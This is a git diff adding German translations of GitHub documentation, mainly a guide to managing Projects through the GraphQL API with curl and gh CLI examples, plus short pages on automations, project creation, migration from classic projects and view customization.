+```shell
+curl --request POST \
+  --url https://api.github.com/graphql \
+  --header 'Authorization: Bearer TOKEN' \
+  --data '{"query":"{user(login: \"USER\") {projectsV2(first: 20) {nodes {id title}}}}"}'
+```
+{% endcurl %}
+
+{% cli %}
+```shell
+gh api graphql -f query='
+  query{
+    user(login: "USER") {
+      projectsV2(first: 20) {
+        nodes {
+          id
+          title
+        }
+      }
+    }
+  }'
+```
+{% endcli %}
+
+### Suchen der Knoten-ID eines Felds
+
+Um den Wert eines Felds zu aktualisieren, musst du die Knoten-ID des Felds kennen. Darüber hinaus musst du auch die ID der Optionen für einzelne Auswahlfelder und bei Iterationsfeldern auch die IDs der Iterationen kennen.
+
+Im folgenden Beispiel werden die IDs, der Name, die Einstellungen und die Konfiguration für die ersten 20 Felder in einem Projekt zurückgegeben. Ersetze `PROJECT_ID` durch die Knoten-ID deines Projekts.
+
+{% curl %}
+```shell
+curl --request POST \
+  --url https://api.github.com/graphql \
+  --header 'Authorization: Bearer TOKEN' \
+  --data '{"query":"query{ node(id: \"PROJECT_ID\") { ... on ProjectV2 { fields(first: 20) { nodes { ... on ProjectV2Field { id name } ... on ProjectV2IterationField { id name configuration { iterations { startDate id }}} ... on ProjectV2SingleSelectField { id name options { id name }}}}}}}"}'
+```
+{% endcurl %}
+
+{% cli %}
+```shell
+gh api graphql -f query='
+  query{
+  node(id: "PROJECT_ID") {
+    ... on ProjectV2 {
+      fields(first: 20) {
+        nodes {
+          ... on ProjectV2Field {
+            id
+            name
+          }
+          ... on ProjectV2IterationField {
+            id
+            name
+            configuration {
+              iterations {
+                startDate
+                id
+              }
+            }
+          }
+          ... on ProjectV2SingleSelectField {
+            id
+            name
+            options {
+              id
+              name
+            }
+          }
+        }
+      }
+    }
+  }
+}'
+```
+{% endcli %}
+
+Die Antwort entspricht etwa dem folgenden Beispiel:
+
+```json
+{
+  "data": {
+    "node": {
+      "fields": {
+        "nodes": [
+          {
+            "id": "PVTF_lADOANN5s84ACbL0zgBZrZY",
+            "name": "Title"
+          },
+          {
+            "id": "PVTF_lADOANN5s84ACbL0zgBZrZc",
+            "name": "Assignees"
+          },
+          {
+            "id": "PVTSSF_lADOANN5s84ACbL0zgBZrZg",
+            "name": "Status",
+            "options": [
+              {
+                "id": "f75ad846",
+                "name": "Todo"
+              },
+              {
+                "id": "47fc9ee4",
+                "name": "In Progress"
+              },
+              {
+                "id": "98236657",
+                "name": "Done"
+              }
+            ]
+          },
+          {
+            "id": "PVTIF_lADOANN5s84ACbL0zgBah28",
+            "name": "Iteration",
+            "configuration": {
+              "iterations": [
+                {
+                  "startDate": "2022-05-29",
+                  "id": "cfc16e4d"
+                }
+              ]
+            }
+          }
+        ]
+      }
+    }
+  }
+}
+```
+
+Jedes Feld besitzt eine ID und einen Namen. Einzelne Auswahlfelder werden als `ProjectV2SingleSelectField`-Objekt zurückgegeben und verfügen über ein `options`-Feld, in dem die ID jeder Option für die einzelne Auswahl angegeben ist. Iterationsfelder werden als `ProjectV2IterationField`-Objekt zurückgegeben und verfügen über ein `configuration`-Feld, das wiederum ein `iterations`-Feld enthält, das die ID und Informationen zu jeder Iteration enthält. 
+
+Wenn du nur den Namen und die ID eines Felds benötigst und keine Informationen zu Iterationen oder den Optionen eines einzelnen Auswahlfelds, kannst du das `ProjectV2FieldCommon`-Objekt. 
+
+{% curl %}
+```shell
+curl --request POST \
+  --url https://api.github.com/graphql \
+  --header 'Authorization: Bearer TOKEN' \
+  --data '{"query":"query{ node(id: \"PROJECT_ID\") { ... on ProjectV2 { fields(first: 20) { nodes { ... on ProjectV2FieldCommon { id name }}}}}}"}'
+```
+{% endcurl %}
+
+{% cli %}
+```shell
+gh api graphql -f query='
+  query{
+  node(id: "PROJECT_ID") {
+    ... on ProjectV2 {
+      fields(first: 20) {
+        nodes {
+          ... on ProjectV2FieldCommon {
+            id
+            name
+          }
+        }
+      }
+    }
+  }
+}'
+```
+{% endcli %}
+
+Die Antwort bei Verwendung des `ProjectV2FieldCommon`-Objekts sieht in etwa wie das folgende Beispiel aus:
+
+```json
+{
+  "data": {
+    "node": {
+      "fields": {
+        "nodes": [
+          {
+            "__typename": "ProjectV2Field",
+            "id": "PVTF_lADOANN5s84ACbL0zgBZrZY",
+            "name": "Title"
+          },
+          {
+            "__typename": "ProjectV2Field",
+            "id": "PVTF_lADOANN5s84ACbL0zgBZrZc",
+            "name": "Assignees"
+          },
+          {
+            "__typename": "ProjectV2SingleSelectField",
+            "id": "PVTSSF_lADOANN5s84ACbL0zgBZrZg",
+            "name": "Status"
+          },
+          {
+            "__typename": "ProjectV2IterationField",
+            "id": "PVTIF_lADOANN5s84ACbL0zgBah28",
+            "name": "Iteration"
+          }
+        ]
+      }
+    }
+  }
+}
+```
+
+### Suchen von Informationen zu Elementen in einem Projekt 
+
+Du kannst die API abfragen, um Informationen zu Elementen in deinem Projekt zu finden.
+
+Im folgenden Beispiel werden die ersten 20 Issues, Pull Requests und Entwurfsissues in einem Projekt zurückgegeben. Bei Issues und Pull Requests werden auch Titel und die ersten 10 zugewiesenen Personen zurückgegeben. Bei Entwurfsissues wird der Titel und der Textkörper zurückgegeben. Im Beispiel wird auch der Feldname und der Wert für alle Text-, Datums- oder Einzelauswahlfelder in den ersten acht Feldern des Projekts zurückgegeben. Ersetze `PROJECT_ID` durch die Knoten-ID deines Projekts.
+
+{% curl %}
+```shell
+curl --request POST \
+  --url https://api.github.com/graphql \
+  --header 'Authorization: Bearer TOKEN' \
+  --data '{"query":"query{ node(id: \"PROJECT_ID\") { ... on ProjectV2 { items(first: 20) { nodes{ id fieldValues(first: 8) { nodes{ ... on ProjectV2ItemFieldTextValue { text field { ... on ProjectV2FieldCommon {  name }}} ... on ProjectV2ItemFieldDateValue { date field { ... on ProjectV2FieldCommon { name } } } ... on ProjectV2ItemFieldSingleSelectValue { name field { ... on ProjectV2FieldCommon { name }}}}} content{ ... on DraftIssue { title body } ...on Issue { title assignees(first: 10) { nodes{ login }}} ...on PullRequest { title assignees(first: 10) { nodes{ login }}}}}}}}}"}'
+```
+{% endcurl %}
+
+{% cli %}
+```shell
+gh api graphql -f query='
+  query{
+    node(id: "PROJECT_ID") {
+        ... on ProjectV2 {
+          items(first: 20) {
+            nodes{
+              id
+              fieldValues(first: 8) {
+                nodes{                
+                  ... on ProjectV2ItemFieldTextValue {
+                    text
+                    field {
+                      ... on ProjectV2FieldCommon {
+                        name
+                      }
+                    }
+                  }
+                  ... on ProjectV2ItemFieldDateValue {
+                    date
+                    field {
+                      ... on ProjectV2FieldCommon {
+                        name
+                      }
+                    }
+                  }
+                  ... on ProjectV2ItemFieldSingleSelectValue {
+                    name
+                    field {
+                      ... on ProjectV2FieldCommon {
+                        name
+                      }
+                    }
+                  }
+                }              
+              }
+              content{              
+                ... on DraftIssue {
+                  title
+                  body
+                }
+                ...on Issue {
+                  title
+                  assignees(first: 10) {
+                    nodes{
+                      login
+                    }
+                  }
+                }
+                ...on PullRequest {
+                  title
+                  assignees(first: 10) {
+                    nodes{
+                      login
+                    }
+                  }
+                }
+              }
+            }
+          }
+        }
+      }
+    }'
+```
+{% endcli %}
+
+Ein Projekt kann Elemente enthalten, für die Benutzer*innen nicht über die Berechtigung zum Anzeigen verfügen. In diesem Fall wird der Elementtyp als `REDACTED`zurückgegeben.
+
+## Aktualisieren von Projekten 
+
+Du verwendest Mutationen, um Projekte zu aktualisieren. Weitere Informationen findest du unter [Informationen zu Mutationen](/graphql/guides/forming-calls-with-graphql#about-mutations).
+
+{% note %}
+
+**Hinweis:** Du kannst ein Element nicht im selben Aufruf hinzufügen und aktualisieren. Du musst `addProjectV2ItemById` verwenden, um das Element hinzuzufügen, und das Element anschließend mit `updateProjectV2ItemFieldValue` aktualisieren.
+
+{% endnote %}
+
+### Hinzufügen eines Elements zu einem Projekt
+
+Im folgenden Beispiel wird deinem Projekt ein Issue oder Pull Request hinzugefügt. Ersetze `PROJECT_ID` durch die Knoten-ID deines Projekts. Ersetze `CONTENT_ID` durch die Knoten-ID des Issues oder Pull Requests, das bzw. den du hinzufügen möchtest.
+
+{% curl %}
+```shell
+curl --request POST \
+  --url https://api.github.com/graphql \
+  --header 'Authorization: Bearer TOKEN' \
+  --data '{"query":"mutation {addProjectV2ItemById(input: {projectId: \"PROJECT_ID\" contentId: \"CONTENT_ID\"}) {item {id}}}"}'
+```
+{% endcurl %}
+
+{% cli %}
+```shell
+gh api graphql -f query='
+  mutation {
+    addProjectV2ItemById(input: {projectId: "PROJECT_ID" contentId: "CONTENT_ID"}) {
+      item {
+        id
+      }
+    }
+  }'
+```
+{% endcli %}
+
+Die Antwort enthält die Knoten-ID des neu erstellten Elements.
+
+```json
+{
+  "data": {
+    "addProjectV2ItemById": {
+      "item": {
+        "id": "PVTI_lADOANN5s84ACbL0zgBVd94"
+      }
+    }
+  }
+}
+```
+
+Wenn du versuchst, ein bereits vorhandenes Element hinzuzufügen, wird stattdessen die ID des vorhandenen Elements zurückgegeben.
+
+### Hinzufügen eines Entwurfsissues zu einem Projekt
+
+Im folgenden Beispiel wird deinem Projekt ein Entwurfsissue hinzugefügt. Ersetze `PROJECT_ID` durch die Knoten-ID deines Projekts. Ersetze `TITLE` und `BODY` durch den Inhalt, den du für das neue Entwurfsissue benötigst.
+
+{% curl %}
+```shell
+curl --request POST \
+  --url https://api.github.com/graphql \
+  --header 'Authorization: Bearer TOKEN' \
+  --data '{"query":"mutation {addProjectV2DraftIssue(input: {projectId: \"PROJECT_ID\" title: \"TITLE\" body: \"BODY\"}) {projectItem {id}}}"}'
+```
+{% endcurl %}
+
+{% cli %}
+```shell
+gh api graphql -f query='
+  mutation {
+    addProjectV2DraftIssue(input: {projectId: "PROJECT_ID" title: "TITLE" body: "BODY"}) {
+      projectItem {
+        id
+      }
+    }
+  }'
+```
+{% endcli %}
+
+Die Antwort enthält die Knoten-ID des neu erstellten Entwurfsissues.
+
+```json
+{
+  "data": {
+    "addProjectV2ItemById": {
+      "projectItem": {
+        "id": "PVTI_lADOANN5s84ACbL0zgBbxFc"
+      }
+    }
+  }
+}
+```
+
+### Aktualisieren der Einstellungen eines Projekts 
+
+Im folgenden Beispiel werden die Einstellungen deines Projekts aktualisiert. Ersetze `PROJECT_ID` durch die Knoten-ID deines Projekts. Lege `public` auf `true` fest, um dein Projekt auf {% data variables.product.product_name %} öffentlich zu machen. Ändere `readme`, um Änderungen an der README-Datei deines Projekts vorzunehmen.
+
+{% curl %}
+```shell
+curl --request POST \
+--url https://api.github.com/graphql \
+--header 'Authorization: Bearer TOKEN' \
+--data '{"query":"mutation { updateProjectV2(input: { projectId: \"PROJECT_ID\", title: \"Project title\", public: false, readme: \"# Project README\n\nA long description\", shortDescription: \"A short description\"}) { projectV2 { id, title, readme, shortDescription }}}"}'
+```
+{% endcurl %}
+
+{% cli %}
+```shell
+gh api graphql -f query='
+  mutation {
+    updateProjectV2(
+      input: {
+        projectId: "PROJECT_ID", 
+        title: "Project title",
+        public: false,
+        readme: "# Project README\n\nA long description",
+        shortDescription: "A short description"
+      }
+    ) {
+      projectV2 {
+        id
+        title
+        readme
+        shortDescription
+      }
+    }
+  }'
+```
+{% endcli %}
+
+### Aktualisieren eines benutzerdefinierten Text-, Zahlen- oder Datumsfelds 
+
+Im folgenden Beispiel wird der Wert eines Textfelds für ein Element aktualisiert. Ersetze `PROJECT_ID` durch die Knoten-ID deines Projekts. Ersetze `ITEM_ID` durch die Knoten-ID des Elements, das du aktualisieren möchtest. Ersetze `FIELD_ID` durch die ID des Felds, das du aktualisieren möchtest.
+
+{% curl %}
+```shell
+curl --request POST \
+  --url https://api.github.com/graphql \
+  --header 'Authorization: Bearer TOKEN' \
+  --data '{"query":"mutation {updateProjectV2ItemFieldValue( input: { projectId: \"PROJECT_ID\" itemId: \"ITEM_ID\" fieldId: \"FIELD_ID\" value: { text: \"Updated text\" }}) { projectV2Item { id }}}"}'
+```
+{% endcurl %}
+
+{% cli %}
+```shell
+gh api graphql -f query='
+  mutation {
+    updateProjectV2ItemFieldValue(
+      input: {
+        projectId: "PROJECT_ID"
+        itemId: "ITEM_ID"
+        fieldId: "FIELD_ID"
+        value: { 
+          text: "Updated text"        
+        }
+      }
+    ) {
+      projectV2Item {
+        id
+      }
+    }
+  }'
+```
+{% endcli %}
+
+{% note %}
+
+**Hinweis:** Du kannst `updateProjectV2ItemFieldValue` nicht verwenden, um `Assignees`, `Labels`, `Milestone` oder `Repository` zu ändern, da diese Felder Eigenschaften von Pull Requests und Issues sind, nicht von Projektelementen. Stattdessen kannst du die folgenden Mutationen verwenden:
+
+- [addAssigneesToAssignable](/graphql/reference/mutations#addassigneestoassignable)
+- [removeAssigneesFromAssignable](/graphql/reference/mutations#removeassigneesfromassignable)
+- [addLabelsToLabelable](/graphql/reference/mutations#addlabelstolabelable)
+- [removeLabelsFromLabelable](/graphql/reference/mutations#removelabelsfromlabelable)
+- [updateIssue](/graphql/reference/mutations#updateissue)
+- [updatePullRequest](/graphql/reference/mutations#updatepullrequest)
+- [transferIssue](/graphql/reference/mutations#transferissue)
+
+{% endnote %}
+
+### Aktualisieren eines einzelnen Auswahlfelds
+
+Im folgenden Beispiel wird der Wert eines einzelnen Auswahlfelds für ein Element aktualisiert.
+
+- Ersetze `PROJECT_ID` durch die Knoten-ID deines Projekts.
+- Ersetze `ITEM_ID` durch die Knoten-ID des Elements, das du aktualisieren möchtest.
+- Ersetze `FIELD_ID` durch die ID des einzelnen Auswahlfelds, das du aktualisieren möchtest.
+- Ersetze `OPTION_ID` durch die ID der gewünschten Auswahloption.
+
+{% curl %}
+```shell
+curl --request POST \
+  --url https://api.github.com/graphql \
+  --header 'Authorization: Bearer TOKEN' \
+  --data '{"query":"mutation {updateProjectV2ItemFieldValue( input: { projectId: \"PROJECT_ID\" itemId: \"ITEM_ID\" fieldId: \"FIELD_ID\" value: { singleSelectOptionId: \"OPTION_ID\" }}) { projectV2Item { id }}}"}'
+```
+{% endcurl %}
+
+{% cli %}
+```shell
+gh api graphql -f query='
+  mutation {
+    updateProjectV2ItemFieldValue(
+      input: {
+        projectId: "PROJECT_ID"
+        itemId: "ITEM_ID"
+        fieldId: "FIELD_ID"
+        value: { 
+          singleSelectOptionId: "OPTION_ID"        
+        }
+      }
+    ) {
+      projectV2Item {
+        id
+      }
+    }
+  }'
+```
+{% endcli %}
+
+### Aktualisieren eines Iterationsfelds
+
+Im folgenden Beispiel wird der Wert eines Iterationsfelds für ein Element aktualisiert.
+
+- Ersetze `PROJECT_ID` durch die Knoten-ID deines Projekts.
+- Ersetze `ITEM_ID` durch die Knoten-ID des Elements, das du aktualisieren möchtest.
+- Ersetze `FIELD_ID` durch die ID des Iterationsfelds, das du aktualisieren möchtest.
+- Ersetze `ITERATION_ID` durch die ID der gewünschten Iteration. Dies kann entweder eine aktive oder abgeschlossene Iteration sein.
+
+{% curl %}
+```shell
+curl --request POST \
+  --url https://api.github.com/graphql \
+  --header 'Authorization: Bearer TOKEN' \
+  --data '{"query":"mutation {updateProjectV2ItemFieldValue( input: { projectId: \"PROJECT_ID\" itemId: \"ITEM_ID\" fieldId: \"FIELD_ID\" value: { singleSelectOptionId: \"OPTION_ID\" }}) { projectV2Item { id }}}"}'
+```
+{% endcurl %}
+
+{% cli %}
+```shell
+gh api graphql -f query='
+  mutation {
+    updateProjectV2ItemFieldValue(
+      input: {
+        projectId: "PROJECT_ID"
+        itemId: "ITEM_ID"
+        fieldId: "FIELD_ID"
+        value: { 
+          iterationId: "ITERATION_ID"        
+        }
+      }
+    ) {
+      projectV2Item {
+        id
+      }
+    }
+  }'
+```
+{% endcli %}
+
+### Löschen eines Elements aus einem Projekt
+
+Im folgenden Beispiel wird ein Element aus einem Projekt gelöscht. Ersetze `PROJECT_ID` durch die Knoten-ID deines Projekts. Ersetze `ITEM_ID` durch die Knoten-ID des Elements, das du löschen möchtest.
+
+{% curl %}
+```shell
+curl --request POST \
+  --url https://api.github.com/graphql \
+  --header 'Authorization: Bearer TOKEN' \
+  --data '{"query":"mutation {deleteProjectV2Item(input: {projectId: \"PROJECT_ID\" itemId: \"ITEM_ID\"}) {deletedItemId}}"}'
+```
+{% endcurl %}
+
+{% cli %}
+```shell
+gh api graphql -f query='
+  mutation {
+    deleteProjectV2Item(
+      input: {
+        projectId: "PROJECT_ID"
+        itemId: "ITEM_ID"
+      }
+    ) {
+      deletedItemId
+    }
+  }'
+```
+{% endcli %}
+
+## Verwalten von Projekten 
+
+### Erstellen von Projekten
+
+Du kannst eine Mutation verwenden, um ein neues Projekt zu erstellen. Weitere Informationen findest du unter [Informationen zu Mutationen](/graphql/guides/forming-calls-with-graphql#about-mutations).
+
+Um ein neues Projekt über die API zu erstellen, musst du einen Namen für das Projekt und die Knoten-ID für einen {% data variables.product.product_name %}-Benutzer oder eine Organisation angeben, der bzw. die als Besitzer des Projekts fungieren soll.
+
+Wenn du den Benutzernamen kennst, kannst du die Knoten-ID eines {% data variables.product.product_name %}-Benutzers oder einer Organisation ermitteln. Ersetze <code>GITHUB_OWNER</code> durch den {% data variables.product.product_name %}-Benutzernamen des neuen Projektbesitzers.
+
+{% curl %}
+```shell
+curl --request GET \
+  --url https://api.github.com/users/<em>GITHUB_OWNER</em> \
+  --header 'Authorization: token <em>TOKEN</em>' \
+  --header 'Accept: application/vnd.github+json'
+```
+{% endcurl %}
+
+{% cli %}
+```shell
+gh api -H "Accept: application/vnd.github+json" /users/<em>GITHUB_OWNER</em>
+```
+{% endcli %}
+
+Um das Projekt zu erstellen, ersetze `OWNER_ID` durch die Knoten-ID des neuen Projektbesitzers und `PROJECT_NAME` durch einen Namen für das Projekt.
+
+{% curl %}
+```shell
+curl --request POST \
+  --url https://api.github.com/graphql \
+  --header 'Authorization: token <em>TOKEN</em>' \
+  --data '{"query":"mutation {createProjectV2(input: {ownerId: \"<em>OWNER_ID</em>\" title: \"<em>PROJECT_NAME</em>\"}) {projectV2 {id}}}"}'
+```
+{% endcurl %}
+
+{% cli %}
+```shell
+gh api graphql -f query='
+  mutation{
+    createProjectV2(
+      input: {
+        ownerId: "<em>OWNER_ID</em>",
+        title: "<em>PROJECT_NAME</em>"
+      }
+    ){
+      projectV2 {
+        id
+      }
+     }
+  }'
+```
+{% endcli %}
+
+
+## Verwenden von Webhooks
+
+Du kannst Webhooks verwenden, um Ereignisse zu abonnieren, die in deinem Projekt stattfinden. Beispielsweise kann {% data variables.product.product_name %} beim Bearbeiten eines Elements eine HTTP POST-Nutzlast an die konfigurierte URL des Webhooks senden, die Automatisierung auf deinem Server auslösen kann. Weitere Informationen zu Webhooks findest du unter [Informationen zu Webhooks](/developers/webhooks-and-events/webhooks/about-webhooks). Weitere Informationen zum `projects_v2_item`-Webhookereignis findest du unter [Webhookereignisse und Nutzlasten](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#projects_v2_item).
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/automating-your-project/using-the-built-in-automations.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/automating-your-project/using-the-built-in-automations.md
new file mode 100644
index 0000000000..0f5114d125
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/automating-your-project/using-the-built-in-automations.md
@@ -0,0 +1,28 @@
+---
+title: Verwenden der integrierten Automatisierungen
+shortTitle: Using built-in automations
+intro: 'Du kannst integrierte Workflows verwenden, um deine Projekte zu automatisieren.'
+miniTocMaxHeadingLevel: 3
+versions:
+  feature: projects-v2
+type: tutorial
+topics:
+  - Projects
+ms.openlocfilehash: 40f82bbe99ff036a70007f38534d401a972516f7
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109494'
+---
+{% note %}
+
+**Hinweis:** Integrierte Workflows sind im Rahmen einer Betaversion mit eingeschränkten Funktionen verfügbar.
+
+{% endnote %}
+
+{% data reusables.projects.about-workflows %}
+
+Du kannst die integrierten Workflows für dein Projekt aktivieren oder deaktivieren.
+
+{% data reusables.projects.enable-basic-workflow %}
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/creating-projects/creating-a-project.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/creating-projects/creating-a-project.md
new file mode 100644
index 0000000000..311334a3d9
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/creating-projects/creating-a-project.md
@@ -0,0 +1,44 @@
+---
+title: 'Erstellen eines {% data variables.projects.project_v2 %}s'
+intro: 'Erfahre, wie du ein Organisations- oder Benutzerprojekt erstellst.'
+miniTocMaxHeadingLevel: 3
+versions:
+  feature: projects-v2
+redirect_from:
+  - /issues/trying-out-the-new-projects-experience/creating-a-project
+type: tutorial
+topics:
+  - Projects
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 6cbe9313866c19e8325bdd34e90c6a39863de515
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109486'
+---
+{% data variables.product.prodname_projects_v2 %} sind eine anpassbare Sammlung von Elementen, die mit {% data variables.product.company_short %}-Daten auf dem neuesten Stand bleiben. Mit deinen Projekten kannst du Issues, Pull Requests und Ideen nachverfolgen, die du dir notierst. Du kannst benutzerdefinierte Felder hinzufügen und Ansichten für bestimmte Zwecke erstellen.
+
+## Erstellen eines Projekts
+
+### Erstellen eines Organisationsprojekts
+
+Mit Organisationsprojekten können Issues nachverfolgt und Pull Requests aus den Repositorys der Organisation abgerufen werden.
+
+{% data reusables.projects.create-project %}
+
+### Erstellen eines Benutzerprojekts
+
+Mit Benutzerprojekten können Issues und Pull Requests aus den Repositorys, die sich im Besitz deines persönlichen Kontos befinden, nachverfolgt werden.
+
+{% data reusables.projects.create-user-project %}
+
+## Aktualisieren der Projektbeschreibung und der Infodatei
+
+{% data reusables.projects.project-description %}
+
+## Weiterführende Themen
+
+- [Hinzufügen deines Projekts zu einem Repository](/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-repository)
+- [Hinzufügen von Elementen zu deinem Projekt](/issues/planning-and-tracking-with-projects/managing-items-in-your-project/adding-items-to-your-project)
+- [Anpassen einer Ansicht](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view)
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/creating-projects/index.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/creating-projects/index.md
new file mode 100644
index 0000000000..3edd9de9b0
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/creating-projects/index.md
@@ -0,0 +1,21 @@
+---
+title: 'Erstellen von {% data variables.projects.projects_v2 %}n'
+shortTitle: 'Creating {% data variables.projects.projects_v2 %}'
+intro: 'Erfahre mehr über das Erstellen von Projekten und das Migrieren deiner {% data variables.projects.projects_v1_boards %}.'
+versions:
+  feature: projects-v2
+topics:
+  - Issues
+  - Projects
+children:
+  - /creating-a-project
+  - /migrating-from-projects-classic
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 4d982f7f1f5fa66f372bcca74cea084cb2497d9c
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109489'
+---
+
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/creating-projects/migrating-from-projects-classic.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/creating-projects/migrating-from-projects-classic.md
new file mode 100644
index 0000000000..38a39ce337
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/creating-projects/migrating-from-projects-classic.md
@@ -0,0 +1,62 @@
+---
+title: 'Migrieren von {% data variables.product.prodname_projects_v1 %}'
+intro: 'Du kannst deine {% data variables.projects.projects_v1_board %}s in die neue Umgebung von {% data variables.product.prodname_projects_v2 %} migrieren.'
+miniTocMaxHeadingLevel: 3
+versions:
+  feature: projects-v2
+redirect_from:
+  - /issues/trying-out-the-new-projects-experience/migrating-your-project
+type: tutorial
+topics:
+  - Projects
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 2efe16be4b865e4315bce1fee633c313a3d7e512
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109688'
+---
+{% note %}
+
+**Hinweise:**
+
+- Wenn das Projekt, das du migrierst, mehr als 1.200 Elemente enthält, werden offene Issues priorisiert, gefolgt von offenen Pull Requests und dann Hinweisen. Der verbleibende Platz wird für geschlossene Issues sowie gemergte und geschlossene Pull Requests genutzt. Elemente, die aufgrund dieses Grenzwerts nicht migriert werden können, werden ins Archiv verschoben. Wenn der Archivgrenzwert von 10.000 Elementen erreicht ist, werden keine weiteren Elemente migriert.
+- Hinweiskarten werden in Issueentwürfe konvertiert, der Inhalt wird im Textkörper des Issueentwurfs gespeichert. Wenn Informationen fehlen sollten, mache alle verborgenen Felder sichtbar. Weitere Informationen findest du unter [Anzeigen und Ausblenden von Feldern](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view#showing-and-hiding-fields).
+- Automatisierungen werden nicht migriert.
+- Selektierung, Archiv und Aktivität werden nicht migriert.
+- Nach der Migration bleiben das neue migrierte Projekt und das alte Projekt nicht mehr synchronisiert.
+
+{% endnote %}
+
+## Informationen zur Projektmigration
+
+Du kannst deine Projektboards zur neuen Umgebung von {% data variables.product.prodname_projects_v2 %} migrieren und Tabellen, mehrere Ansichten, neue Automatisierungsoptionen und leistungsstarke Feldtypen ausprobieren. Weitere Informationen findest du unter [Informationen zu Projekten](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects).
+
+## Migrieren des Projektboards einer Organisation
+
+{% data reusables.projects.enable-migration %} {% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.organization-wide-project %}
+1. Klicke auf der linken Seite auf **Projekte (klassisch)** .
+  ![Screenshot der Menüoption „Projekte“ (klassisch)}](/assets/images/help/issues/projects-classic-org.png) {% data reusables.projects.migrate-project-steps %}
+
+## Migrieren eines Benutzerprojektboards
+
+{% data reusables.projects.enable-migration %} {% data reusables.profile.access_profile %}
+1. Klicke oben auf deiner Profilseite in der Hauptnavigation auf {% octicon "project" aria-label="The project board icon" %} **Projekte**.
+![Registerkarte „Projekte“](/assets/images/help/projects/user-projects-tab.png)
+1. Klicke über der Liste der Projekte auf **Projekte (klassisch)** .
+  ![Screenshot der Menüoption „Projekte“ (klassisch)}](/assets/images/help/issues/projects-classic-user.png) {% data reusables.projects.migrate-project-steps %}
+
+## Migrieren eines Repositoryprojektboards
+
+{% note %}
+
+**Hinweis:** Projekte auf Repositoryebene werden von {% data variables.projects.projects_v2_caps %} nicht unterstützt. Wenn du ein Repositoryprojektboard migrierst, wird es entweder in die Organisation oder in das persönliche Konto migriert, zu dem das Repositoryprojekt gehört, und das migrierte Projekt wird an das ursprüngliche Repository angeheftet.
+
+{% endnote %}
+
+{% data reusables.projects.enable-migration %} {% data reusables.repositories.navigate-to-repo %}
+1. Klicke unter dem Namen des Repositorys auf {% octicon "project" aria-label="The project board icon" %} **Projekte**.
+![Registerkarte „Projekte“](/assets/images/help/projects/repo-tabs-projects.png)
+1. Klicke auf **Projekte (klassisch)** .
+  ![Screenshot der Menüoption „Projekte“ (klassisch)}](/assets/images/help/issues/projects-classic-org.png) {% data reusables.projects.migrate-project-steps %}
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view.md
new file mode 100644
index 0000000000..380ec7d26d
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view.md
@@ -0,0 +1,154 @@
+---
+title: Anpassen einer Ansicht
+intro: 'Zeige die benötigten Informationen an, indem du Layout, Gruppierung, Sortierung und Filter in deinem Projekt änderst.'
+miniTocMaxHeadingLevel: 3
+versions:
+  feature: projects-v2
+redirect_from:
+  - /issues/trying-out-the-new-projects-experience/customizing-your-project-views
+type: tutorial
+topics:
+  - Projects
+ms.openlocfilehash: 0a7d1076fcf1a9d7f20b65a5e0a75b7d8029f834
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148106773'
+---
+## Ändern des Projektlayouts
+
+Du kannst dein Projekt als Tabelle oder als Board anzeigen.
+
+{% data reusables.projects.open-view-menu %}
+1. Klicke unter „Layout“ auf **Tabelle** oder **Board**.
+   ![Screenshot der Option „Layout“](/assets/images/help/projects-v2/table-or-board.png)
+
+ 
+
+Alternativ drücke {% data variables.projects.command-palette-shortcut %}, um die Projektbefehlspalette zu öffnen, und beginne mit der Eingabe von „Layout wechseln“.
+
+## Anzeigen und Ausblenden von Feldern
+
+Du kannst ein bestimmtes Feld anzeigen oder ausblenden.
+
+{% data reusables.projects.open-view-menu %}
+1. Klicke unter „Konfiguration“ auf {% octicon "note" aria-label="the note icon" %} und die Liste der derzeit angezeigten Felder.
+   ![Screenshot der Menüoption zum Ein- oder Ausblenden von Feldern](/assets/images/help/projects-v2/show-hide-fields-menu-item.png)
+1. Wähle die Spalten aus, die du ein- oder ausblenden möchtest.
+   ![Screenshot des Menüs zum Ein- und Ausblenden von Feldern](/assets/images/help/projects-v2/show-hide-fields.png)
+
